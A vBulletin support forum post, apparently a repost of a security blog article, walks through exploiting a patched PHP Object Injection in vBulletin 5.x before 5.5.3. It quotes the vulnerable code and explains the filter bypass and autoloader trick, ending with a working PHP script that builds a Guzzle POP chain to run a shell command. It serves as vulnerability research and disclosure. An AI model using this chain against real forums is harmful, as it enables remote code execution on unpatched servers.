форум vBSupport.ru > vBSupport.ru > Безопасность
Register Меню vBsupport Изображения Files Manager О рекламе Today's Posts Search
  • Родная гавань
  • Блок РКН снят
  • Premoderation
  • For English speaking users
  • Каталог Фрилансеров
  • If you want to buy some product or script
  • Администраторам
VBsupport перешел с домена .ORG на родной .RU Ура! Пожалуйста, обновите свои закладки - VBsupport.ru
Блок РКН снят, форум доступен на всей территории России, включая новые терртории, без VPN
На форуме введена премодерация ВСЕХ новых пользователей

Почта с временных сервисов, типа mailinator.com, gawab.com и/или прочих, которые предоставляют временный почтовый ящик без регистрации и/или почтовый ящик для рассылки спама, отслеживается и блокируется, а так же заносится в спам-блок форума, аккаунты удаляются
for English speaking users:
You may be surprised with restriction of access to the attachments of the forum. The reason is the recent change in vbsupport.org strategy:

- users with reputation < 10 belong to "simple_users" users' group
- if your reputation > 10 then administrator (kerk, Luvilla) can decide to move you into an "improved" group, but only manually

Main idea is to increase motivation of community members to share their ideas and willingness to support to each other. You may write an article for the subject where you are good enough, you may answer questions, you may share vbulletin.com/org content with vbsupport.org users, receiving "thanks" equal your reputation points. We should not only consume, we should produce something.

- you may:
* increase your reputation (doing something useful for another members of community) and being improved
* purchase temporary access to the improved category:
10 $ for 3 months. - this group can download attachments, reputation/posts do not matter.
20 $ for 3 months. - this group can download attachments, reputation/posts do not matter + adds eliminated + Inbox capacity increased + files manager increased permissions.

Please contact kerk or Luvilla regarding payments.

Important!:
- if your reputation will become less then 0, you will be moved into "simple_users" users' group automatically.*
*for temporary groups (pre-paid for 3 months) reputation/posts do not matter.
Уважаемые пользователи!

На форуме открыт новый раздел "Каталог фрилансеров"

и отдельный раздел для платных заказов "Куплю/Закажу"

Если вы хотите приобрести какой то скрипт/продукт/хак из каталогов перечисленных ниже:
Каталог модулей/хаков
Ещё раз обращаем Ваше внимание: всё, что Вы скачиваете и устанавливаете на свой форум, Вы устанавливаете исключительно на свой страх и риск.
Сообщество vBSupport'а физически не в состоянии проверять все стили, хаки и нули, выкладываемые пользователями.
Помните: безопасность Вашего проекта - Ваша забота.
Убедительная просьба: при обнаружении уязвимостей или сомнительных кодов обязательно отписывайтесь в теме хака/стиля
Спасибо за понимание
 
 
 
 
Canny
Знаток
 
Canny's Avatar
Default Exploiting an N-day vBulletin PHP Object Injection Vulnerability
2

vBulletin is one of the most popular proprietary forum solutions over the Internet. It is used by some major websites, and according to the BuildWith website, vBulletin currently ranks at the second place on the Forum Software Usage Distribution in the Top 1 Million Sites, with over 2.000 websites using it among the “top 1 million”. vBulletin is also known for some famous 0-day Remote Code Execution (RCE) vulnerabilities that led to significant data breaches in 2019 and 2020. These are presumably the most famous, but it does boast a long history of security vulnerabilities. However, the one we are going to detail in this blog post should be an unknown and silently patched vulnerability that was fixed on July 2019 with the release of version 5.5.3. I’ve decided to write this blog post because I think it might be interesting to show the “magic” and potential of PHP Object Injection vulnerabilities… Let’s dig into it!

• Vulnerability details:

The vulnerability exists in all 5.x versions prior to 5.5.3, and can be exploited by registered users to inject arbitrary PHP objects into the application scope, allowing them to eventually execute arbitrary PHP code (RCE). The vulnerable code is located within the vB_Api_Vb4_private::movepm() method, which is defined in the /core/vb/api/vb4/private.php script:

Code:
class vB_Api_Vb4_private extends vB_Api
{
    public function movepm($messageids, $folderid)
    {
        $cleaner = vB::getCleaner();
        $messageids = $cleaner->clean($messageids, vB_Cleaner::TYPE_STR);
        $folderid = $cleaner->clean($folderid, vB_Cleaner::TYPE_UINT);
 
        $userid =  vB::getCurrentSession()->get('userid');
        $folders = vB_Api::instance('content_privatemessage')->fetchFolders($userid);
        if ($folders === null OR !empty($folders['errors']) OR empty($folders['systemfolders']))
        {
            return vB_Library::instance('vb4_functions')->getErrorResponse($folders);
        }
 
        switch($folderid)
        {
            case -1:
                $folderid = $folders['systemfolders']['sent_items'];
                break;
            case 0:
                $folderid = $folders['systemfolders']['messages'];
                break;
            default:
                // otherwise, assume it's custom folder and folderid is valid.
                break;
        }
 
 
 
 
        if (empty($messageids) || empty($folderid))
        {
            return array('response' => array('errormessage' => array('invalidid')));
        }
 
        $pm = unserialize($messageids);
 
        if (empty($pm))
        {
            return array('response' => array('errormessage' => array('invalidid')));
        }
This is pretty straightforward and easy to spot: user input passed through the “messageids” request parameter to the /ajax/api/vb4_private/movepm route will be used without proper validation in a call to the unserialize() PHP function at line 55. As such, a malicious user might be able to send a specially crafted serialized string (POP chain) that will result in an arbitrary PHP object(s) injection into the application scope, allowing them to carry out a variety of attacks, such as executing arbitrary PHP code. Let’s see how an attacker might be able to execute arbitrary PHP code…

• Building the POP chain:

First thing to take into account: as we can see from the above code snippet, at line 24 the “messageids” parameter is validated through the vB_Cleaner::clean() method, which will strip out any occurrence of the null character from the string. That means we have to bypass this validation if our POP chain contains any private/protected property, which is our case. It is possible to bypass this restriction by changing any occurrence of ‘s:’ with ‘S:’ and any occurrence of null characters with ‘\00′ within the serialized string. So our first obstacle is circumvented, let’s move on!
Probably there are a number of ways to achieve arbitrary PHP code execution by making a POP chain leveraging classes defined within the vBulletin codebase, and this is the one I found… Well, actually I haven’t found anything new, because the first thing I noticed is that vBulletin includes Guzzle in its codebase, which has a publicly documented RCE POP chain. Before moving forward, we will see how this POP chain works: the class used to start the POP chain is GuzzleHttp\Psr7\FnStream, that’s because of its destructor method:

Code:
public function __destruct()
{
    if (isset($this->_fn_close)) {
        call_user_func($this->_fn_close);
    }
}
This method will call the call_user_func() PHP function at line 51, passing as argument the value of the _fn_close property. Since this property can arbitrarily be set in our POP chain, it is possible to invoke any callback we want, i.e. a method of an arbitrary object. Indeed, the publicly documented Guzzle POP chain uses this to call the GuzzleHttp\HandlerStack::resolve() method:

Code:
public function resolve()
{
    if (!$this->cached) {
        if (!($prev = $this->handler)) {
            throw new \LogicException('No handler has been specified');
        }
 
        foreach (array_reverse($this->stack) as $fn) {
            $prev = $fn[0]($prev);
        }
 
        $this->cached = $prev;
    }
 
    return $this->cached;
}
Here at line 199 will be called the callback contained within the $fn[0] variable, which is controllable through the stack private property. We can also control the argument passed to the callback by manipulating the handler private property. So you might think we are done: just use a PHP function like system as callback (by setting the stack property accordingly), and the OS command we want to execute as argument (by setting the handler property).
Well, not so fast, because here it comes another problem we have to circumvent: if you try to deserialize the aforementioned Guzzle classes in the injection point, you will realize the deserialization will fail because you’ll get __PHP_Incomplete_Class objects. That’s because those Guzzle classes, which are defined within the /core/packages/googlelogin/vendor/guzzlehttp/ directory, are not yet included by the application, and there’s no registered class autoloader which will automatically include them upon deserialization. The autoloading mechanism we require is defined by including the /core/packages/googlelogin/vendor/autoload.php script, so we need to find a way to include this file in order to successfully deserialize the Guzzle classes needed for our POP chain. This is possible thanks to the vB::autoload() method, defined in the /core/vb/vb.php script:

Code:
public static function autoload($classname, $load_map = false, $check_file = true)
{
    if (!$classname)
    {
        return;
    }
 
    self::$autoloadInfo[$classname] = array(
        'loader' => 'core',
    );
 
    $filename = false;
    $fclassname = strtolower($classname);
 
    if (preg_match('#\W#', $fclassname))
    {
        return;
    }
 
    if (isset($load_map[$classname]))
    {
        $filename = $load_map[$classname];
    }
    else if (isset(self::$load_map[$classname]))
    {
        $filename = self::$load_map[$classname];
    }
    else
    {
        $segments = explode('_', $fclassname);
 
        switch($segments[0])
        {
            case 'vb':
                $vbPath = true;
                $filename = VB_PATH;
                break;
            case 'vb5':
                $vbPath = true;
                $filename = VB5_PATH;
                break;
            default:
                $vbPath = false;
                $filename = VB_PKG_PATH;
                break;
        }
 
        if (sizeof($segments) > ($vbPath ? 2 : 1))
        {
            $filename .= implode('/', array_slice($segments, ($vbPath ? 1 : 0), -1)) . '/';
        }
 
        $filename .= array_pop($segments) . '.php';
    }
 
    // Include the required class file
    if ($filename)
    {
        self::$autoloadInfo[$classname]['filename'] = $filename;
        if ($check_file AND !file_exists($filename))
        {
            return;
        }
        require($filename);
 
        self::$autoloadInfo[$classname]['loaded'] = true;
    }
}
If the name of the class which will be autoloaded does not start with “vb” or “vb5″, it will try to include the class definition from the /core/packages directory (line 386 above, that’s the value of the VB_PKG_PATH constant). This is exactly what we need: by sending a fake object in our POP chain – having googlelogin_vendor_autoload as class name – it might be possible to include the /core/packages/googlelogin/vendor/autoload.php script into the execution flow, which in turn will register the class autoloader for those Guzzle classes. This is possible by e.g. serializing an array of two elements: the first should be an instance of our fake class name, while the second element should be our Guzzle POP chain.

• Putting It All Together:

Code:
class googlelogin_vendor_autoload {} // fake class to include the autoloader
 
class GuzzleHttp_HandlerStack
{
    private $handler, $stack;
     
    function __construct($cmd)
    {
        $this->stack = [['system']]; // the callback we want to execute
        $this->handler = $cmd; // argument for the callback
    }
}
 
class GuzzleHttp_Psr7_FnStream
{
    function __construct($callback)
    {
        $this->_fn_close = $callback;
    }
}
 
$pop = new GuzzleHttp_HandlerStack('touch pwned'); // the command we want to execute
$pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']);
 
$chain = serialize([new googlelogin_vendor_autoload, $pop]);
 
$chain = str_replace(['s:', chr(0)], ['S:', '\00'], $chain);
$chain = str_replace('GuzzleHttp_HandlerStack', 'GuzzleHttp\HandlerStack', $chain);
$chain = str_replace('GuzzleHttp_Psr7_FnStream', 'GuzzleHttp\Psr7\FnStream', $chain);
$chain = str_replace('0GuzzleHttp\HandlerStack', '0GuzzleHttp\5CHandlerStack', $chain);
     
print $chain;
Here you can find a full working Proof of Concept (PoC) script for this vulnerability. It’s a PHP script supposed to be used from the command line (CLI), and you should see an output like the following:



Conclusion

This was just an exercise for me, but I think it was worth posting this blog post because it shows how powerful PHP Object Injection vulnerabilities can be. Sometimes, depending on the target application, it might also be possible to abuse them to include arbitrary PHP files into the application execution flow by abusing class autoloading mechanisms. This can represent a security risk itself, because it might lead to Local File Inclusion (LFI) vulnerabilities. However, as we seen while exploiting this vBulletin vulnerability, this might also be very helpful to include the classes we want to use in our POP chain.

источник: karmainsecurity.com/exploiting-an-nday-vbulletin-php-object-injection
Bot
Yandex Bot Yandex Bot is online now
 
Join Date: 05.05.2005
Реклама на форуме А что у нас тут интересного? =)
 


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off




All times are GMT +4. The time now is 06:44 AM.


Powered by vBulletin® Version 3.8.2
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.